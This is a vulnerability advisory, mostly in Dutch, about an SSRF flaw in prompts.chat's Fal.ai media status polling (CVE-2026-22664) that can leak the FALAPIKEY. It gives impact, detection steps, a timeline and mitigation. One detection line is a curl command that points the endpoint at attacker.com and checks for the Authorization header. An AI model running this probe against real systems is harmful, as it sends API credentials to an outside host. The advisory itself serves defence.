prompts.chat SSRF via Fal.ai Media Status Polling

Een succesvolle exploitatie van CVE-2026-22664 stelt een geauthenticeerde aanvaller in staat om willekeurige HTTP-verzoeken uit te voeren vanuit de context van de prompts.chat applicatie. Dit kan leiden tot het onthullen van interne diensten en resources die normaal gesproken niet toegankelijk zijn vanaf het publieke internet. De meest directe impact is de mogelijkheid om de FALAPIKEY te stelen, die in de Authorization header wordt meegestuurd. Met deze API-sleutel kan de aanvaller het Fal.ai account van het slachtoffer misbruiken voor diverse doeleinden, waaronder het uitvoeren van aanvallen op interne systemen, het stelen van gevoelige data, of het versturen van spam. De blast radius is afhankelijk van de privileges van het gecompromitteerde Fal.ai account en de toegang die dit account heeft tot andere systemen en data.

Organizations utilizing prompts.chat for internal communication or AI-powered chatbot applications are at risk. Specifically, deployments that rely on Fal.ai for media processing or storage are particularly vulnerable. Shared hosting environments where multiple users share the same prompts.chat instance should be carefully assessed, as a compromised account could impact other users.

• nodejs / server: Monitor application logs for outbound requests to unusual or unexpected domains. Use lsof or netstat to identify processes making outbound connections to suspicious IP addresses or ports.

lsof -i | grep prompts.chat

• generic web: Use curl to test the media status polling endpoint with a crafted URL containing a known malicious domain. Examine the response headers for any signs of credential leakage.

curl -v 'https://your-prompts-chat-instance/api/media_status?token=https://attacker.com' 2>&1 | grep Authorization

1. 2026-04-03Disclosure

   disclosure

1. Gereserveerd2026-01-08
2. Gepubliceerd2026-04-03
3. Gewijzigd2026-04-07
4. EPSS bijgewerkt2026-04-11

De primaire mitigatie voor CVE-2026-22664 is het upgraden van prompts.chat naar versie 30a8f0470e0ba45e6be9c9f55220f4a9a6b91c99, waarin de kwetsbaarheid is verholpen. Indien een directe upgrade niet mogelijk is, overweeg dan om de media status polling functionaliteit tijdelijk uit te schakelen, indien dit geen essentiële functionaliteit is. Implementeer strikte URL-validatie en input sanitization op alle parameters die gebruikt worden in de media status polling. Monitor de applicatie logs op verdachte HTTP-verzoeken naar onverwachte bestemmingen. Na de upgrade, controleer de applicatie logs op pogingen tot exploitatie en bevestig dat de FALAPIKEY niet is blootgesteld.